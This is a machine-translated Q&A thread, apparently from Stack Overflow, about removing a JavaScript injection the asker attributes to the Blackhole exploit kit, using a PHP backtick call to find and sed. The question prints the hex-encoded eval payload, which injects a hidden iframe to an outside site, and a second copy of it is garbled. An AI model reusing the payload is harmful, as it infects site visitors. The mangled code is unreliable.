Php 为什么有些服务器可以';你不能运行SED命令吗?

Php 为什么有些服务器可以';你不能运行SED命令吗?,php,sed,Php,Sed,最近,我一直在尝试修复我服务器上的一系列病毒,我怀疑这是由于黑洞工具包造成的。它将js脚本附加到index.php和.html文件的末尾,如下所示 <script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f7470

最近,我一直在尝试修复我服务器上的一系列病毒,我怀疑这是由于黑洞工具包造成的。它将js脚本附加到index.php和.html文件的末尾,如下所示

<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>
var t=”“;var arr=“646F63756D656E742E777269746528273C6966726D652073737263D22687474703A2F2F6578706C6F726574726176656C6E757273696E6726E636F6E67577732E7068703F74703D666666666661336535393464313930222077646474683D223122206265676767686D657272626256565676767676766C6E6E757273626F6D2F6E676E676E6767703D676767703D677474740223C2C2C666666666666666565656565656565656565656565656565656;对于(i=0;i&1`);
问题是,该脚本适用于某些服务器,而其他服务器似乎没有任何效果。有人知道原因吗?我已经在至少10个单独的Web主机上尝试过该脚本。该脚本仅在大约3个主机上成功运行。其余的都不起任何作用。我需要更改哪些设置


感谢您的帮助。谢谢!

您正在使用的某些主机可能具有shell功能(
exec
shell\u exec
system
,等等)禁用,可能是通过PHP臭名昭著的
safe_mode
configuration选项。您需要用纯PHP重写脚本,或者找到另一种方法删除插入的内容

  • 如果您使用http请求正确运行此脚本,即它由Web服务器以用户权限运行,如
    nobody
    apache
    -则此脚本中使用的
    sed-i
    命令无法更改
    find
    由于权限不足而创建的文件中的任何内容

  • 您的PHP安装可能会禁用反勾号和/或任何其他形式的命令执行,因为它通常是直接的安全威胁(使用
    safe_mode
    、使用PHP suhosin补丁指令等)


  • 您最好的选择是检查未执行此脚本的主机上的Web服务器日志。

    对php文件的权限?您没有尝试通过ssh运行shell脚本吗?对于某些帐户,这肯定不是权限,而且我没有ssh。是否有可能某些计算机未使用GNU,因此没有
    -I
    -3。病毒可能包括在内一个特权升级漏洞,最终用重新感染文件的命令取代标准shell命令。我想没有简单的答案了?我会去挖掘日志并检查一下。感谢帮助。从技术上讲,如果你的服务器真的被病毒攻击,唯一能确保它从那以后没有被扎根和利用的方法是完全重新安装。在虚拟机/容器中有一个运行主机的web服务器实例在这种情况下真的很有帮助:您可以立即获得虚拟机的新副本。对某些主机启用了安全模式,但不是对脚本无法运行的所有主机启用安全模式。可能是多种设置的组合。我尝试使用preg_更换,但似乎需要777才能工作。
    $dir = "./";
    
    $removejs = `find $dir -name "*.php" -type f |xargs sed -i '<script>var t=.*eval.*script>##g' 2>&1`;